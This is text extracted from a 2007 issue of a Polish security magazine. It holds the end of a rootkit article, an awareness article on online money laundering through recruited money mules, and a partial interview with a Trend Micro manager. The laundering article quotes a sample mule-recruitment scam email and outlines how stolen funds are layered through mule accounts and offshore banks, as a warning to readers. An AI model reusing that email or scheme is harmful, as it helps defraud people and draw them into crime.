Podsumowanie
W dzisiejszych czasach kompute-
ry są stałym składnikiem naszego
świata – czy to prywatnego, czy
zawodowego. Ich obecność widać
w każdym domu, instytucji, firmie
– po prostu wszędzie. Wszystko
to powoduje, że ryzyko zainfekowa
nia komputera złośliwym kodem
znacznie wzrosło w stosunku do
lat ubiegłych.
Ilość wirusów oraz innego rodza-
ju malware, między innymi rootkitów,
urosła do takiego stopnia, że nieła-
two się przed nimi bronić. Powstają
coraz to nowe aplikacje do ich wy-
krywania i dezaktywowania, jednak
autorzy kodu rootkitów także udo-
skonalają swoje dzieła, więc walka
nieustannie trwa.
Jak na razie nie zanotowano żad-
nej wielkiej epidemii rootkitów, lecz
czy można być pewnym, że tako-
wa nie wystąpi? Wiele wskazuje na
to, że sytuacja nie będzie się wyraź-
nie poprawiać. Możemy mieć tylko
nadzieję, że powstaną systemy ope-
racyjne odporne na tego typu za-
grożenia lub programy odpowiednio
zabezpieczające obecne systemy.
Odpowiedź na tytułowe pytanie, czy
można się skutecznie bronić przed
rootkitami, jest bardzo trudna i tak
naprawdę robiąc to, co opisałem
w tym artykule możemy tylko zmini-
malizować prawdopodobieństwo do-
stania się do naszego komputera
nieproszonego, utrudniającego nam
życie gościa. l
O autorze
Grzegorz Błoński z wykształcenia jest informatykiem, certyfikowanym specjalistą IBM.
Pracuje w dużej firmie o zasięgu światowym. Zajmuje się administracją i bezpieczeń-
stwem sieciowym. Należy do międzynarodowych organizacji ISOC oraz ISACA zajmu-
jących się szeroko pojętym bezpieczeństwem IT.
Kontakt z autorem: mancymonek@wp.pl
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 12/2007
70
Bezpieczna firma
D
ziś rozliczanie rozmaitych transakcji
z wykorzystaniem tradycyjnego obiegu
gotówki ustępuje miejsca transmitowa-
niu przewodami ciągów bitów, które są następnie
przetwarzane przez armię komputerów. Obecnie
to zapisana w komputerze informacja, a nie ilość
posiadanego zielonego papieru, jest wyznaczni-
kiem tego, czy ktoś jest biedny, czy bogaty.
W niniejszym artykule postaram się przybli-
żyć, na czym polega proces prania brudnych pie-
niędzy z wykorzystaniem do tego celu sieci Inter-
net, tzw. cyberlaundering. Na wstępie chciałbym
podkreślić, że niniejszy artykuł omawia w sposób
pobieżny tylko niektóre zagadnienia związane
z praniem brudnych pieniędzy i tylko te, które ma-
ją ścisły związek z tego typu działalnością prowa-
dzoną w Internecie. Sam problem jest dużo bar-
dziej złożony i omówienie go dalece wykracza
poza ramy tego artykułu.
Trochę historii
Jak już wspomniałem na wstępie niniejsze-
go artykułu, termin pranie brudnych pienię-
dzy zyskał na znaczeniu za sprawą gangstera
włoskiego pochodzenia Ala Capone. W cza-
sach prohibicji w Stanach Zjednoczonych ów
mafiozo czerpał niesamowite zyski z produk-
cji i przemytu nielegalnego wówczas alkoho-
lu. Aby ukryć źródło swoich zysków, a zara-
zem zalegalizować zdobyte w powyższy spo-
sób pieniądze, dopisywał nielegalne zyski do
dochodów legalnie działających interesów,
w tym pralni odzieży – stąd też wzięła się na-
zwa procederu.
Cyberlaundering – pranie
brudnych pieniędzy
Marcin Kopeć
stopień trudności
Nie minął jeszcze wiek, odkąd – za sprawą gangstera
o wdzięcznym pseudonimie Al Capone – został w latach
dwudziestych ubiegłego wieku spopularyzowany proceder
określony mianem prania brudnych pieniędzy. Mimo niewielkiego
upływu czasu, za sprawą nowoczesnej technologii ów proceder
znacznie wyewoluował.
Z artykułu dowiesz się
• na czym polega rozwijający się w Internecie
proceder prania brudnych pieniędzy, tzw. cyber-
laundering,
• jak wyglądają poszczególne etapy procederu,
• jakie istnieją metody walki z cyberlaunderin-
giem,
• jakie zagrożenie dla użytkownika Sieci stano-
wi świadomy bądź nieświadomy udział w pro-
cederze.
Co powinieneś wiedzieć
• podstawowa wiedza na temat technik i narzędzi
stosowanych przez cyberprzestępców do pro-
wadzenia nielegalnych działań,
• ogólna znajomość zasad działania złośliwego
oprogramowania, a także metod ataków z wy-
korzystaniem socjotechniki,
• znajomość zagadnień takich jak phishing,
scamming, spamming.
Cyberlaundering – pranie brudnych pieniędzy
hakin9 Nr 12/2007
www.hakin9.org
71
Obecnie proces legalizacji środ-
ków jest tylko jednym z etapów prania
pieniędzy, a samo słowo ma o wiele
szersze znaczenie.
Prawo a pranie
Działania określane mianem prania
brudnych pieniędzy reguluje polskie
prawo.
Zgodnie z Ustawą z dnia 16 listo-
pada 2000r. o przeciwdziałaniu wpro-
wadzaniu do obrotu finansowego
wartości majątkowych pochodzących
z nielegalnych lub nieujawnionych
źródeł oraz o przeciwdziałaniu finan-
sowaniu terroryzmu, pranie brudnych
pieniędzy należy rozumieć jako dzia-
łalność polegającą na wprowadza-
niu do obrotu finansowego wartości
majątkowych pochodzących z niele-
galnych lub nieujawnionych źródeł,
poprzez wykonywanie czynności po-
legających na:
• zamianie lub przekazaniu warto-
ści majątkowych pochodzących
z działalności o charakterze
przestępczym lub z udziału w ta-
kiej działalności, w celu ukrycia
lub zatajenia bezprawnego pocho-
dzenia tych wartości majątkowych
albo udzielenia pomocy osobie,
która bierze udział w takiej dzia-
łalności, w celu uniknięcia przez
nią prawnych konsekwencji tych
działań,
• ukryciu lub zatajeniu prawdzi-
wego charakteru, źródła, miej-
sca przechowywania, faktu prze-
mieszczenia lub praw związanych
z wartościami majątkowymi po-
chodzącymi z działalności o cha-
rakterze przestępczym lub udzia-
łu w takiej działalności,
• nabyciu, objęciu w posiadanie
albo używanie wartości majątko-
wych, pochodzących z działalno-
ści o charakterze przestępczym
lub udziału w takiej działalności.
Według polskiego prawa, pranie
brudnych pieniędzy jest przestęp-
stwem, objętym konsekwencjami
prawnymi, o których mowa w Art.
299 Kodeksu Karnego (Ramka
Próba pozyskania osoby do proce-
deru prania brudnych pieniędzy ).
Fazy prania
Proces prania brudnych pieniędzy
umownie dzieli się na cztery następu-
jące po sobie etapy (Rysunek 1):
• faza wstępna – przygotowanie
całego procederu,
• umiejscowienie (placement) – wpro-
wadzenie nielegalnych środków do
obiegu finansowego,
• rozwarstwianie (layering) – zacie-
ranie śladów prowadzących do
rzeczywistego źródła pieniędzy,
• integracja (integration) – legaliza-
cja nielegalnych środków.
Faza wstępna
i umiejscowienie
Aby pozyskać nielegalny dochód,
cyberprzestępcy prowadzą w Inter-
necie szereg działalności, począw-
szy od wymuszeń pieniędzy przy
wykorzystaniu technik socjotech-
nicznych (np. scamming), poprzez
kradzież danych logowania (loginy,
hasła, klucze) do systemów banko-
wości internetowej, kradzież nume-
rów oraz danych autoryzacyjnych
kart kredytowych, kończąc na oszu-
stwach przy handlu na aukcjach in-
ternetowych.
Mimo, że Internet daje cyber-
przestępcy sporo anonimowości
– bo przecież ten zawsze może się
ukryć za serwerem proxy, zainstalo-
wanym na skompromitowanym kom-
puterze w jakimś egzotycznym kraju
– to już przyjęcie przez niego wpła-
ty nielegalnych środków na własny,
także internetowy rachunek banko-
wy, wiąże się z możliwością ujaw-
nienia jego tożsamości. Wszakże
proces rejestracji rachunków (przy-
najmniej w przypadku polskich ban-
ków) wymaga udzielenia bankowi
przez posiadacza danych osobowych,
które będą w stanie jednoznacznie
go zidentyfikować. Podobna możli-
wość ujawnienia cyberprzestępcy
pojawia się przy próbie zakupu
przez niego dóbr konsumenckich,
np. w sklepie internetowym przy wyko-
rzystaniu nielegalnych środków, gdyż
Fragment Art. 299
§1. Kto środki płatnicze, papiery wartościowe lub inne wartości dewizowe, prawa
majątkowe albo mienie ruchome lub nieruchome, pochodzące z korzyści zwią-
zanych z popełnieniem przestępstwa przez inne osoby, w szczególności polega-
jącego na wytwarzaniu lub obrocie środkami odurzającymi lub psychotropowy-
mi, przemycie, fałszowaniu pieniędzy lub papierów wartościowych, rozboju albo
popełnieniu innego przestępstwa przeciwko mieniu wielkiej wartości, wymusza-
niu okupu albo handlu bronią, amunicją lub materiałami wybuchowymi albo roz-
szczepialnymi, przyjmuje, przekazuje lub wywozi za granicę, pomaga do przeno-
szenia ich własności lub posiadania albo podejmuje inne czynności, które mogą
udaremnić lub znacznie utrudnić stwierdzenie ich przestępnego pochodzenia lub
miejsca umieszczenia, ich wykrycie, zajęcie albo orzeczenie przepadku, podle-
ga karze pozbawienia wolności od 3 miesięcy do lat 5.
§5. Jeżeli sprawca dopuszcza się czynu określonego w §1 lub 2, działając w porozu-
mieniu z innymi osobami, podlega karze pozbawienia wolności od roku do lat 10.
§6. Karze określonej w §5 podlega sprawca, jeżeli dopuszczając się czynu określone-
go w §1 lub 2, osiąga znaczną korzyść majątkową.
§7. W razie skazania za przestępstwo określone w §1 lub 2, sąd orzeka przepa-
dek przedmiotów pochodzących bezpośrednio lub pośrednio z przestępstwa,
chociażby przedmioty nie stanowiły własności sprawcy.
Rysunek 1.
Fazy prania brudnych pieniędzy
hakin9 Nr 12/2007
www.hakin9.org
Bezpieczna firma
72
zakupiony towar musi zostać wysłany
na konkretny adres pocztowy.
Żeby ukryć swoją tożsamość, ce-
lem bezpiecznego prowadzenia nie-
legalnej działalności, cyberprzestęp-
ca korzysta z ludzkich pośredników
– tzw. słupów (przez analogię moż-
na ich porównać do ludzkich serwe-
rów proxy).
Zadanie słupa w procederze
prania najczęściej ogranicza się do
przyjęcia na własny rachunek banko-
wy nielegalnych środków, w zamian
za niewielką gratyfikację finansową,
a następnie do przekazania przy-
jętych środków na inny, wskazany
przez cyberprzestępcę, rachunek.
Ponadto w analogiczny spo-
sób słup jest w stanie otrzymywać
i przekazywać dalej dobra konsu-
menckie.
Cyberprzestępca najczęściej wer-
buje słupów za pomocą atrakcyjnych
ofert pracy, czyli sposobów na szyb-
kie i łatwe zarobienie pieniędzy bez
wychodzenia z domu, pojawiających
się na forach internetowych, czy też
trafiających na skrzynki mailowe ja-
ko tzw. spam.
Przykładową próbą pozyska-
nia słupa może być proponowanie
takiej osobie pracy w charakterze
menedżera/pośrednika finansowe-
go w rzekomo realnej firmie. Zada-
niem pracownika byłoby rozliczanie
należności za faktury z wcześniej
otrzymanych środków pieniężnych.
Za zapłacenie każdej faktury pra-
cownik miałby być wynagradzany
w systemie prowizyjnym, np. mógł-
by zatrzymać 5% wartości kwoty
zrealizowanego przelewu z uprzed-
nio otrzymanych środków pienięż-
nych. Ponadto za atrakcyjnością ta-
kiej oferty pracy przemawiałby fakt,
że jedynym wymaganiem stawia-
nym przyszłemu pracownikowi jest
posiadanie przez niego rachunku
w banku internetowym oraz poświę-
cenie tylko kilku godzin dziennie na
pracę przy realizacji przelewów
z własnego domowego kompute-
ra na podstawie uprzednio otrzy-
mywanych instrukcji. Przykładową
wiadomość e-mail mogącą świad-
czyć o próbie pozyskania osób do
procederu prania brudnych pienię-
dzy zamieszczono w ramce Atrak-
cyjna oferta pracy i najprawdopo-
dobniej próba pozyskania Twojej
osoby do procederu prania brud-
nych pieniędzy.
Rozwarstwianie
Gdy cyberprzestępca uzyska moż-
liwość wyprowadzenia środków pie-
niężnych z czyjegoś rachunku w ban-
ku internetowym, przejmując dane
logowania/dane autoryzacyjne, np.
przy pomocy złośliwego oprogra-
mowania, czy też dokona oszustwa,
którego celem jest nakłonienie ja-
kiejś osoby do dokonania wpłaty,
będzie starał się doprowadzić do
sytuacji, w której środki te trafią na
rachunki uprzednio zwerbowanych
słupów. Mechanizmem komunikacji
między cyberprzestępcą a słupem
jest najczęściej poczta elektronicz-
na. W tym celu cyberprzestępca re-
jestruje swój adres e-mail w którymś
z popularnych serwisów oferujących
darmowe konta pocztowe.
W tym momencie rozpoczyna się
właściwy proces zacierania śladów,
który będzie polegał na stworzeniu
odpowiednio długiej ścieżki prze-
pływu środków pieniężnych, w taki
sposób, aby ustalenie docelowego
odbiorcy środków np. przez organy
ścigania było mocno utrudnione.
Sytuację tę zilustrowano na Ry-
sunku 2. Osoby oznaczone literami A,
B, C, D, E, F to uprzednio zwerbowa-
ne przez cyberprzestępcę osoby peł-
Próba pozyskania osoby do procederu
prania brudnych pieniędzy
Dear !
Our company want to suggest you a vacancy – TRANSFER MANAGER
Job Description:
The task of the Transfer Manager is to process payments between our partners' clients
and our company, in particular, to manage cash and balance receipts, follow up on
accounts, etc. The job is related to remote Internet operations. Every payment order will
be accompanied with detailed instructions. The brief training course is enclosed.
General requirements:
• Willingness to work from home, take responsibility set up and achieve goals,
• Ability to create good administrative reporting,
• Prior customer service experience is a good benefit, but not a must,
• Honesty, responsibility and promptness in operations,
• Effective interaction with customers,
• Familiarity to working online, Internet and e-mail skills,
• One or several personal bank accounts,
• Salary: $400-$800 per week.
This job will allow you to:
• Work efficiently from home,
• Increase available personal time,
• Achieve financial independence in half the normal time (1-3 hours per day),
• Interact and associate with other members in order to benefit from their knowledge
and experiences,
• Become able to share time and money with others less fortunate than you,
• Develop high self-respect and esteem.
Current Vacancies: 7
If you want to apply with this job, please go to http://www.financion-corp.com/
register.php?job_id=DH28 or write e-mail to job@financion-corp.com.
James Beasley,
Personnel Manager,
New Age Escrow LTD mailto: job@financion-corp.com
Cyberlaundering – pranie brudnych pieniędzy
hakin9 Nr 12/2007
www.hakin9.org
73
niące rolę słupów. Zdarzeniem, które
rozpoczyna proces rozwarstwiania,
jest przestępstwo, w wyniku którego
na rachunki słupów A, D przyjmowa-
ne są środki pieniężne pochodzące
z przestępstwa. Następnie cyber-
przestępca zleca słupom A, D prze-
kazanie otrzymanych środków w po-
staci kilku przelewów na rachunek
słupa B (rozdrabniając kwotę uprzed-
nio otrzymanego przelewu), ten dalej
przekazuje je do F itd., aż ostatecznie
pieniądze trafią na konto przestępcy.
Aby dodatkowo utrudnić identyfi-
kację odbiorcy, cyberprzestępca mo-
że zlecić słupowi wykonanie przele-
wu systemem SWIFT do innego kraju.
SWIFT (Society for Worldwide Inter-
bank Financial Telecommunication)
jest międzynarodowym stowarzy-
szeniem pośredniczącym w elektro-
nicznym rozliczaniu transakcji między
instytucjami finansowymi na całym
świecie, obecnie obsługującym insty-
tucje finansowe w 208 krajach.
Identyfikacja zagranicznego od-
biorcy przez krajowe organy ścigania
wiąże się z uruchamianiem między-
narodowych kanałów współpracy, co
najczęściej jest czasochłonne i daje
cyberprzestępcy dużo czasu na dzia-
łanie. Jeszcze gorsza sytuacja wystę-
puje w przypadku, gdy pieniądze tra-
fią do banku w kraju będącym tzw. ra-
jem podatkowym (terytoria offshore),
w których to najczęściej obowiązują
restrykcyjne zasady dotyczące ochro-
ny tajemnicy bankowej, w prakty-
ce uniemożliwiające osobom trzecim
– w tym organom ścigania i admini-
stracji – uzyskiwanie informacji o ra-
chunkach bankowych i przeprowa-
dzanych na nich transakcjach.
Integracja
Drobni cyberprzestępcy zdobyte nie-
legalnie środki pieniężne mogą prze-
znaczać na poprawę własnych wa-
runków życia, bądź też reinwestować
je w dalszą działalność przestępczą.
W przypadku zorganizowanych grup
przestępczych, gdzie dochody z nie-
legalnej działalności będą wyższe
i trudniejsze do ukrycia, może poja-
wić się potrzeba legalizacji nielegal-
nie zdobytych pieniędzy. Nie od dziś
wiadomo, że takie sektory, jak hazard
czy biznes pornograficzny są szcze-
gólnie bliskie zorganizowanym grupom
przestępczym. Internetowe kasyna gry
oraz płatne serwisy pornograficzne
kontrolowane przez grupy przestęp-
cze mogą zostać wykorzystane do
legalizacji środków pieniężnych pocho-
dzących z cyberprzestępstw. Przykła-
dowo, gdy grupa przestępcza pozy-
ska dużą ilość numerów oraz danych
autoryzacyjnych kart kredytowych
(kody CVV), np. w wyniku przepro-
wadzenia ataku typu phishing, może
wykorzystać zdobyte w ten sposób
środki finansowe do gier w interneto-
wych kasynach, lub też wykupić za
nie dostęp do płatnych serwisów por-
nograficznych. W konsekwencji pozwo-
li wtedy zarobić kontrolowanej przez
grupę przestępczą firmie będącej
właścicielem serwisu.
Przeciwdziałanie
Istnieje międzyrządowa grupa robo-
cza The Financial Action Task Force
(FATF), której celem jest wypracowy-
wanie standardów w zakresie walki
z procederem prania brudnych pienię-
dzy. Większość cywilizowanych kra-
jów świata posiada regulacje prawne
przewidujące konsekwencje prawne
za uczestnictwo w ww. procederze,
jednakże ten – wraz z rosnącą ilo-
ścią elektronicznych transakcji inter-
netowych – rozwija się w najlepsze.
Rozwiązaniem problemu mogłoby być
stworzenie globalnego systemu mo-
nitoringu wszystkich internetowych
transakcji, który typowałby podejrzane
transakcje finansowe na podstawie ich
charakterystycznych cech. Jednakże
stworzenie i wdrożenie takiego sys-
temu w instytucjach finansowych na
całym świecie wiązałoby się ze ści-
ślejszą międzynarodową współpracą
w tym zakresie, co wymagałoby
przyjęcia specyficznych ponadnaro-
dowych regulacji prawnych, których to
wymaga globalny charakter Internetu.
Podsumowanie
W przypadku gdy ktoś nakłania Cię
do wykonania czynności mających
znamiona prania brudnych pieniędzy,
należy poinformować o tym fakcie
organy ścigania. Należy pamiętać, że
żadna legalnie działająca firma nie
będzie wykorzystywać rachunków
bankowych osób prywatnych do prze-
kazywania pieniędzy od swych klien-
tów, a także nie zapłaci 5% lub więcej
za dokonanie przelewu, podczas gdy
banki oferują taką usługę za znacznie
niższą cenę. Osoba, która lekkomyśl-
nie skusi się na podobną do omówio-
nej w artykule, atrakcyjną ofertę pra-
cy, ponosi pełną odpowiedzialność
za przestępstwo prania brudnych pie-
niędzy (Art. 299 Kodeksu Karnego),
a w przypadku wykrycia przestęp-
stwa, dla organów ścigania to właśnie
ta osoba będzie podejrzana w pierw-
szej kolejności. l
Rysunek 2.
Wykorzystania słupów w procesie zacierania śladów prowadzących
do docelowego odbiorcy pochodzących z przestępstwa pieniędzy
O autorze
Marcin Kopeć pracuje jako oficer bez-
pieczeństwa w jednym z czołowych pol-
skich banków. Na co dzień zajmuje się
problematyką bezpieczeństwa transak-
cji elektronicznych. Kontakt z autorem:
marcin.kopec@hotmail.com
www.hakin9.org
hakin9 Nr 12/2007
74
Wywiad
hakin9:
Czy mógłby Pan przybliżyć strategię
firmy na najbliższy rok?
Filip Demianiuk:
Takie strategie są trzy, do-
tyczą one trzech grup produktów. Pierwsza
z nich to produkty dla klientów domowych,
a zakładana strategia koncentruje się na
zwiększeniu ich rozpoznawalności, jeśli cho-
dzi o nazwę. Problemem związanym z tymi
aplikacjami jest fakt, że są dostępne w wer-
sji angielskiej, co na tym rynku jest poważną
niedogodnością. Natomiast od strony tech-
nicznej produkty te cechują się bardzo do-
brą jakością i oferują szeroką gamę funkcji.
W związku z tym, celem zarówno naszym,
jak i dystrybutorów jest spowodowanie, aby
te produkty były bardziej znane. Tyczy się to
również aplikacji, które oferujemy klientom za
darmo, dostarczających cząstkowej funkcjo-
nalności naszych głównych produktów. Przy-
kładem może być Trend Protect – plugin do
przeglądarki internetowej, który ocenia repu-
tację całej witryny i informuje, czy jest ona
bezpieczna. Niedawno kupiliśmy inny pro-
dukt, który jest dobrze oceniany przez od-
biorców – HiJack This. Rozwijając go dalej,
chcemy pokazać użytkownikom, że w trosce
o nich chcemy dostarczać dobrych rozwią-
zań także za darmo, przekonując w ten spo-
sób do naszych technologii.
W przypadku produktów dla małych i średnich
firm chcemy zwrócić uwagę na to, aby były one
dobrze eksponowane i aby prowadzona przez
nas kampania ich dotycząca rzeczywiście do-
cierała do tych firm. Chcemy przekonać użyt-
kowników tych produktów, że nawet jeżeli nie
są ekspertami w dziedzinie bezpieczeństwa,
to nasze rozwiązania zapewniają im dostęp
do najnowszych technologii bezpieczeństwa,
przy jednoczesnej prostocie ich użytkowania.
Wreszcie, jeżeli chodzi o produkty z rodziny
enterprise – z których, można by rzec, wyrosła
nasza firma –chcemy być wciąż innowacyjni.
Zamierzamy rozwijać nasze produkty zgod-
nie z potrzebami największych klientów, wzbo-
gacając rozwiązania o najnowsze i skuteczne
technologie.
h9:
Co w chwili obecnej robicie w celu zwięk-
szenia świadomości marki w Polsce? Kontakt
na witrynie WWW odsyła... do strony niemiec-
kiej.
FD:
W tym przypadku problemem jest sposób
konstruowania tych witryn. Mogę obiecać, że
ta sytuacja się zmieni, ponieważ nastąpiły mo-
dyfikacje w designie globalnej witryny. Zmiany
Wywiad z Filipem
Demianiukiem z firmy
Trend Micro
Filip Demianiuk – w firmie Trend
Micro zajmuje stanowisko
Technical Channel Managera,
co tak naprawdę oznacza, że
zajmuje się wszystkim, co dotyczy
technicznej strony działalności
firmy: to między innymi spotkania
z kluczowymi klientami, seminaria
czy warsztaty, podczas których
odbywa szereg konsultacji, uczy
i opowiada.
Filip Demianiuk
hakin9 Nr 12/2007
www.hakin9.org
75
Wywiad
stron lokalnych będą wprowadzane sukcesywnie. Wiem,
że witryna polska jest w trakcie tłumaczenia, będzie ona
całkowicie zmodyfikowana i będzie zawierała dobre od-
nośniki. Na swoją obronę mogę powiedzieć, że w biurze
w Niemczech pracują ludzie, którzy znają język polski
i na pewno można się z nimi porozumieć w naszym języ-
ku ojczystym.
h9:
Jaka jest Wasza najważniejsza technologia, flago-
wy produkt?
FD:
Nie da się tak po prostu odpowiedzieć na to pytanie.
Mogę jedynie wymienić najnowsze technologie, które
wprowadziliśmy w ostatnim czasie. Nie chciałbym także
dywagować, które technologie uważamy za najbardziej
istotne, ponieważ chcemy rozwijać produkty ze wszyst-
kich trzech wymienionych przeze mnie wcześniej grup.
Swoiste perełki firmy, czyli obszary, na których jesteśmy
oceniani przez IDC jako numer 1, to produkty służące do
ochrony bramki internetowej. Staramy się być firmą trwa-
le innowacyjną, dlatego nieustannie prezentujemy nowe
technologie. Ostatnia z nich, wprowadzona do naszych
produktów bramkowych oraz rozwiązań chroniących sta-
cje robocze i serwery, to usługi web reputation services.
Od strony technologicznej jest to 270 serwerów, które od-
powiadają za składowanie informacji o klasyfikacji witryn,
a także wykonują ponad 50 różnych testów na nowych
witrynach, jeżeli dostaną zapytanie o ich reputację. Na
podstawie zapytania DNS w sposób łatwy, szybki, nie ob-
ciążający ani systemów, ani łącz, użytkownik jest w sta-
nie kreować własne polityki bezpieczeństwa w oparciu
o przygotowaną przez nas informację o reputacji witryn.
h9:
Czy nie boicie się konkurencji?
FD:
Należy zacząć od tego, że konkurencja jest dobra.
Właśnie ona powoduje, że firmy są zmuszone do szuka-
nia nowych rozwiązań i wprowadzania nowych techno-
logii. To z kolei jest bardzo korzystne dla klientów, dlate-
go doceniamy fakt istnienia konkurencji. Motywuje ona
do pracy i powoduje, że chcemy się wyróżniać, opra-
cowujemy nowe technologie, dobrze oceniane nie tylko
przez nas ale i naszych klientów. Ostatnio niezależna fir-
ma badawcza Opus One sklasyfikowała nasze rozwiąza-
nia antyspamowe jako numer jeden na rynku. Oznacza
to, że nasze działania przynoszą efekt. Klienci korpora-
cyjni – nie mam na myśli tylko rynku polskiego, na którym
także mamy dużych klientów korporacyjnych, ale mówię
o klientach globalnych – również korzystają z tych roz-
wiązań. Np. Microsoft dla ochrony swojego Hotmaila uży-
wa naszych produktów, a nie swoich. Zatem jeśli nawet
konkurencja korzysta z naszych rozwiązań – mówi to sa-
mo za siebie.
h9:
Czy skupiacie swą uwagę w większym stopniu na
klientach indywidualnych czy na firmach?
FD:
To trudne pytanie. Na rynku polskim obecnie, z pew-
nością, na firmach – dlatego, że produkty dla klientów
indywidualnych nie posiadają w tej chwili polskiego inter-
fejsu użytkownika, co oznacza, że dla wielu użytkowni-
ków mogą być trudniejsze w konfiguracji i użytkowaniu.
Nie ma oczywiście przeszkód, aby korzystać z naszych
rozwiązań technologicznych dla klientów indywidualnych
w Polsce, jednak główną częścią naszej działalności jest
promowanie rozwiązań dla przedsiębiorstw.
h9:
Czy zainteresowanie klientów produktami z dziedzi-
ny zabezpieczeń IT zwiększa się wraz ze wzrostem po-
ziomu zagrożeń?
FD:
Moim zdaniem właściwsze jest stwierdzenie, że tak
naprawdę rośnie ono wraz ze świadomością zagrożeń.
Coraz więcej ludzi zdaje sobie sprawę z tego, jakim ry-
zykiem jest korzystanie z Sieci, zaczynają więc rozglą-
dać się za metodami ochrony. Myślę, że świadomość jest
kluczem do szerokiej popularności tego typu rozwiązań,
gdyż dla ludzi znających się na szeroko rozumianej infor-
matyce korzystanie z takich technik jest po prostu obo-
wiązkiowe.
h9:
Jak wygląda wzrost zainteresowania firmą Trend
Micro na polskim rynku w porównaniu do rynków zagra-
nicznych?
FD:
Nie znam, niestety, wyników badań wzrostu po-
pularności produktów. Rozwijamy się, jeśli chodzi
o zwiększenie sprzedaży, mniej więcej tak, jak jest
to zaplanowane – czyli powyżej poziomu wzrostu sa-
mego rynku. Oznacza to, że nasze rozwiązania gene-
ralnie zyskują na popularności, natomiast trudno jest
mi określić skalę tego zjawiska lokalnie. To, co mogę
stwierdzić na pewno – obserwujemy wyraźne tenden-
cje wzrostu popularności Trend Micro w Azji, w Sta-
nach Zjednoczonych i w Europie. Okazuje się, że Azja
jest rynkiem, na którym udział w rynku firmy Trend Mi-
cro wynosi, dla niektórych rozwiązań, nawet 80%. Tam
jest to bardzo znana firma. Tak naprawdę bardzo istot-
na jest tu specyfika rynku, różnice są tego typu, że dla
firm amerykańskich tysiąc użytkowników to niemal-
że firma z segmentu small business, natomiast w Pol-
sce jest to już duże przedsiębiorstwo. W związku z tym
nasze podejście też musi być inne. Zatem w przypad-
ku, kiedy produkt jest rozwijany w Stanach Zjednoczo-
nych, wydaje się on trudniejszy do zaoferowania w Eu-
ropie. W ujęciu globalnym Trend Micro dogania swą
najgroźniejszą konkurencję, co pozwala pozytywnie
postrzegać aktualną sytuację firmy.
h9:
W jaki sposób firma postrzega polskich specjali-
stów od bezpieczeństwa IT? Czy są dla nich organizo-
wane specjalne szkolenia, oferowane gratisowe narzę-
dzia itp.?
FD:
Nie ograniczamy dostępu do naszych gratisowych
narzędzi dla jakiejś specyficznej grupy użytkowni-
ków, jak na przykład oficerów bezpieczeństwa. Nie do-
starczamy takich dedykowanych narzędzi dla jakichś
konkretnych grup odbiorców, są one dostępne za dar-
mo dla każdego - np. HiJack This czy Trend Protect. Za-
chęcamy wszystkich naszych użytkowników do testo-
wania wersji beta produktów i informowaniu nas co nie
działa, co wymaga poprawy, jaka dodatkowa funkcjo-
nalność byłaby przydatna. Oczywiście, organizujemy
też warsztaty, które są związane z kanałami sprzeda-
ży – są więc przeznaczone dla dystrybutorów firmy.
hakin9 Nr 12/2007
www.hakin9.org
Wywiad
76
Ponadto bierzemy udział w seminariach, na których za-
wsze chętnie witamy wszystkie osoby zainteresowane
bezpieczeństwem systemów i nasza ofertą. Sami dys-
trybutorzy organizują warsztaty dla swoich klientów,
w których my bierzemy udział i przekazujemy wiedzę
użytkownikom.
h9:
Jakie są według Pana obecne trendy w IT, co zmieni-
ło się w charakterze zagrożeń płynących z Internetu?
FD:
Zmieniło się wiele. Dawne wirusy plikowe przeno-
szone na dyskietkach, czy nieco młodsze ataki worm’ów
internetowych nie stanowią już dużego zagrożenia.
To, co dzieje się obecnie, wiąże się z zastosowaniem
złośliwego kodu, który służy teraz ludziom zajmują-
cym się zarabianiem w ten sposób pieniędzy, np. po-
przez rozsyłanie spamu, wykorzystanie bootnetów,
spyware tworzony na zamówienie itd. Z drugiej strony,
ataki są teraz bardziej ukierunkowane na konkretne
grupy odbiorców, na jakiś cel. Mogą to być ataki na
jakąś grupę etniczną czy np. na grupę ludzi zaintere-
sowanych sportem. Przykładem może być sytuacja,
w której zaatakowano jedną z witryn oferujących bilety
na tegoroczny Super Bowl. Do strony został wstrzyk-
nięty kod infekujący komputery ludzi, którzy odwiedzali
tę witrynę. Po pierwsze, tego typu ataki są nakiero-
wane na konkretną grupę ludzi, po drugie – wykorzy-
stują jako nośnik sam Internet. To właśnie interakcja
z Siecią jest tutaj tak naprawdę kluczową sprawą. Mo-
że zaistnieć sytuacja, że wchodzimy na stronę, którą
odwiedzaliśmy już setki razy i nic się nie działo, ale zo-
stała właśnie zaatakowana i zainfekowana, w wyniku
czego nieświadomie możemy stać się celem ataku i po-
brać jakiś złośliwy komponent. Później ten komponent,
po uaktywnieniu się na naszym komputerze, może
łączyć się z różnymi adresami IP, pobierać inne, do-
datkowe komponenty ataku. Powiem więcej, produ-
cenci złośliwego kodu oferują swoim klientom service
packi do tego typu aplikacji, które umożliwiają ukry-
cie ich aktywności przed skanerami antywirusowymi.
Dla takiego typu ataku, ogniwem łaczącym wszystkie
elementy, jest ciągła interakcja z Internetemi. Właśnie
ten nowy czynnik spowodował, że zdecydowaliśmy się
na stworzenie sieciowych usług reputacyjnych – zwy-
kłe skanery nie są już w stanie nadążyć za nieustan-
nymi zmianami.
h9:
Czy obecne zabezpieczenia coraz lepiej chronią nas
przed przestępcami, czy ta walka nadal jest przez nas
przegrywana i wciąż są oni krok naprzód?
FD:
Nie jest łatwo dokładnie to ocenić. Istotnie – za-
bezpieczenia są coraz lepsze. Po pierwsze, wymaga
tego konkurencja, po drugie – nowe metody ataku zmu-
szają firmy dostarczające zabezpieczenia do opraco-
wania nowych metod obrony. Czasami firmy są o ten
jeden krok do przodu, ich specjaliści cały czas zasta-
nawiają się, jakie ataki mogą mieć miejsce w przyszło-
ści. Niekiedy jest to natomiast działalność reaktywna
– zdajemy sobie sprawę, że pojawiają się nowe metody
ataku i musimy na nie reagować. Z natury rzeczy za-
wsze okaże się, że ktoś wymyśli nową metodę ataku,
wykorzystującą jakąś nieznaną wcześniej lukę. Oczy-
wiście, firmy oferują także mechanizmy heurystyczne,
które starają się odkryć nowy typ ataku czy zabezpie-
czyć przed podejrzaną aktywnością. Jednak mecha-
nizmy te nigdy nie będą w 100% skuteczne i zawsze
ich działanie będzie obarczone pewnym marginesem
błędu.Samo korzystanie z Internetu nigdy nie będzie
całkowicie bezpieczne – bez względu na to, jakie za-
bezpieczenia będą stosowane.
h9:
W jaki sposób rozpoznajecie nowe wirusy, czy korzy-
stacie z wiedzy samych hakerów?
FD:
Ludzie zajmujący się rozpoznawaniem złośliwe-
go kodu muszą wiedzieć, jak on działa, więc – nie za-
